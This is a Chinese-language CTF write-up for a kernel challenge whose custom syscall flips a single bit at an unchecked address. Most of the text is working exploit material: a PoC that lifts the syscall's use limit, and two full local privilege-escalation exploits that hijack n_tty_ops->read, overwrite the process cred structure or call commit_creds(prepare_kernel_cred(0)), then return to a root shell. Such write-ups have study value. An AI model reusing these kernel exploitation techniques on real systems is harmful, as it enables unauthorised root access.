启动脚本
启动脚本如下,没开启任何保护
bash
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./initrd \
-nographic \
-monitor /dev/null \
-append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null
题目:自定义的系统调用
c
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>
#define MAXFLIT 1
#ifndef __NR_FLITBIP
#define FLITBIP 333
#endif
long flit_count = 0;
EXPORT_SYMBOL(flit_count);
SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{
if (flit_count >= MAXFLIT)
{
printk(KERN_INFO "flitbip: sorry :/\n");
return -EPERM;
}
*addr ^= (1ULL << (bit));
flit_count++;
return 0;
}
题目提供了一个新的系统调用号,调用号为333
该系统调用有两个参数:addr
和bit
。
作用:对addr
地址存储数据的第bit位
与1进行异或(起始下标是第0位)
限制:使用全局变量long flit_count
限制异或功能
的次数,进入系统调用检查flit_count
是否大于等于1
- 如果等于1,则直接退出
- 小于1,则对数据进行异或,并增加
flit_count
的值
也就是正常情况下,该系统调用的异或功能只能起作用一次
题目问题:系统调用未对传递的addr
参数做检查,可以传入内核空间的地址。
- 由于
未开启
地址随机化,可以传入flit_count
全局变量的地址,使系统调用中的异或功能使用次数不受限 - 通过系统调用中的异或功能,实现任意地址写,进而提权
准备编译打包脚本
为了变量编写的poc能被快速验证,创建了一个shell 脚本,用于编译poc,并将编译好的poc打包进initrd中
bash
#!/bin/bash
echo "[*]build poc elf"
name=$1
elf_name=$(echo $1 | cut -d . -f1)
gcc -static -g $name -masm=intel -o $elf_name
echo "extract initrd"
rm -rf ./extracted
mkdir extracted
cd extracted
cp ../initrd ./
zcat ./initrd | cpio -idmv
rm ./initrd
cp ../$elf_name $elf_name
echo "cpio initrd"
find ./ -print0 | cpio --owner root --null -o --format=newc > ../initrd
cd ..
gzip initrd
mv initrd.gz initrd
使用方式
./build.sh xxx.c
就能将xxx.c
编译为xxx
,并打包到initrd
中
获取flit_count和其他内核符号的地址信息
通过/proc/kallsyms
首先在启动脚本中添加nokaslr
取消地址随机化
再修改initrd
中的init
启动文件
bash
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict
再重新打包initrd
,以root用户权限查看/proc/kallsyms
中符号的地址
通过vmlinux-to-elf + ida
将bzImage
转换为elf
文件,放入到ida中
vmlinux-to-elf bzImage vmlinux
在导出窗口就能看见符号地址
通过vmlinux-to-elf + pwntools
这个比较方便
还是先通过vmlinux-to-elf
转换bzImage
为elf
文件
再使用pwntools提取符号
python
from pwn import *
vmlinux_elf = ELF('./vmlinux')
flit_count = vmlinux_elf.symbols['flit_count']
print(hex(flit_count))
尝试调用自定义系统调用
编写代码,调用系统调用看看自定义系统调用的功能
测试a=1时,将a中数据第3位
与1进行异或(起始下标是第0位)
0-0-0-1
1-0-0-0
^
=======
1-0-0-1 = 9
c
// 文件名为 01_syscall.c
#define _GNU_SOURCE
#include <stdio.h>
long _call_flitbip(long *addr, long bit){
asm(
"mov rax, 333\n"
"syscall\n"
);
}
long call_flitbip(long *addr, long bit){
long tmp = _call_flitbip(addr, bit);
return tmp;
}
int main()
{
int a = 1;
int result = call_flitbip(&a, 3);
printf("Now num is %d, result = %d\n", a , result);
return 0;
}
进行编译打包
bash
./build.sh 01-syscall.c
运行qemu启动脚本,查看结果
bash
/ $ ./01_syscall
Now num is 9, result = 0 <<<<<<<<<< 二进制 1000 ^ 0001 = 1001
/ $ ./01_syscall
Now num is 1, result = -1 <<<<<< 正常情况下系统调用的异或功能只能有效一次
/ $
修改flit_count,使flit_count >= 1
判断绕过
这里将flit_count
修改为负数,则判断就绕过了
flit_count
是long类型,8字节,将第63为修改为1就是负数(起始下标是第0位)
c
#define _GNU_SOURCE
#include <stdio.h>
long _call_flitbip(long *addr, long bit){
asm(
"mov rax, 333\n"
"syscall\n"
);
}
long call_flitbip(long *addr, long bit){
long tmp = _call_flitbip(addr, bit);
return tmp;
}
const ulong flit_count = 0xffffffff818f4f78;
int main()
{
call_flitbip(flit_count, 63);
return 0;
}
找到_x64_sys_flitbip
的地址为0xFFFFFFFF810AE72D
,下端进行调试
在系统调用前,查看flit_count
的值为0
c
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78: 0x0000000000000000 0x0000000100000000
0xffffffff818f4f88: 0x0000000000000000 0x0000000000000000
0xffffffff818f4f98: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fa8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fb8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fc8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fd8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fe8: 0x0000000000000000 0x0000000000000000
再经过异或之后,值为0x8000000000000000
c
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78: 0x8000000000000000 0x0000000100000000
0xffffffff818f4f88: 0x0000000000000000 0x0000000000000000
0xffffffff818f4f98: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fa8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fb8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fc8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fd8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fe8: 0x0000000000000000 0x0000000000000000
之后flit_count
再自增1,值为0x8000000000000001
c
pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78: 0x8000000000000001 0x0000000100000000
0xffffffff818f4f88: 0x0000000000000000 0x0000000000000000
0xffffffff818f4f98: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fa8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fb8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fc8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fd8: 0x0000000000000000 0x0000000000000000
0xffffffff818f4fe8: 0x0000000000000000 0x0000000000000000
这样基本就可以不受限使用自定义系统调用的异或功能了,从而实现任意地址写
ret2user + 修改cred
c
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;
long flitbip(long* addr, long bit) {
__asm__("mov rax, 333");
__asm__("syscall");
}
char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
__asm__("mov %0, cs\n"
"mov %1, ss\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
:
:"memory"
);
}
void launch_shell(void) {
system("/bin/sh");
}
void get_root() {
int * cred = *(unsigned long*)((char*)*current_task + 0x3c0);
for (int i = 1; i < 9; i++)
cred[i] = 0;
*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;
__asm__("swapgs\n"
"mov rax, %0\n"
"push rax\n"
"mov rax, %1\n"
"push rax\n"
"mov rax, %2\n"
"push rax\n"
"mov rax, %3\n"
"push rax\n"
"mov rax, %4\n"
"push rax\n"
"iretq\n"
:
:"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell)
:"memory"
);
}
int main(void) {
char a;
user_stack = &a;
save_state();
flitbip(flip_count, 63);
unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
printf("%lx\n", val);
for (unsigned long i=0; i<64; i++) {
if (val & (1ULL << (i)))
flitbip((char*)n_tty_ops + 0x30 , i);
}
scanf("%c", &a);
while(1);
return 0;
}
ret2user + commit_creds(prepare_kernel_cred(0));
c
// / $ uname -a
// Linux (none) 4.17.0 #1 Fri Jun 15 18:16:45 CEST 2018 x86_64 GNU/Linux
// ffffffff81033e92 T prepare_kernel_cred
// ffffffff81033d41 T commit_creds
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;
long flitbip(long* addr, long bit) {
__asm__("mov rax, 333");
__asm__("syscall");
}
char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
__asm__("mov %0, cs\n"
"mov %1, ss\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
:
:"memory"
);
}
void launch_shell(void) {
system("/bin/sh");
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff81033e92;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81033d41;
void get_root() {
commit_creds(prepare_kernel_cred(0));
// 回复 n_tty_ops->read的值
*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;
__asm__("swapgs\n"
"mov rax, %0\n"
"push rax\n"
"mov rax, %1\n"
"push rax\n"
"mov rax, %2\n"
"push rax\n"
"mov rax, %3\n"
"push rax\n"
"mov rax, %4\n"
"push rax\n"
"iretq\n"
:
:"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell)
:"memory"
);
}
int main(void) {
char a;
user_stack = &a;
save_state();
flitbip(flip_count, 63);
unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
printf("%lx\n", val);
// 画了个很简单的图,一看就明白意思
for (unsigned long i=0; i<64; i++) {
if (val & (1ULL << (i)))
flitbip((char*)n_tty_ops + 0x30 , i);
}
scanf("%c", &a);
while(1);
return 0;
}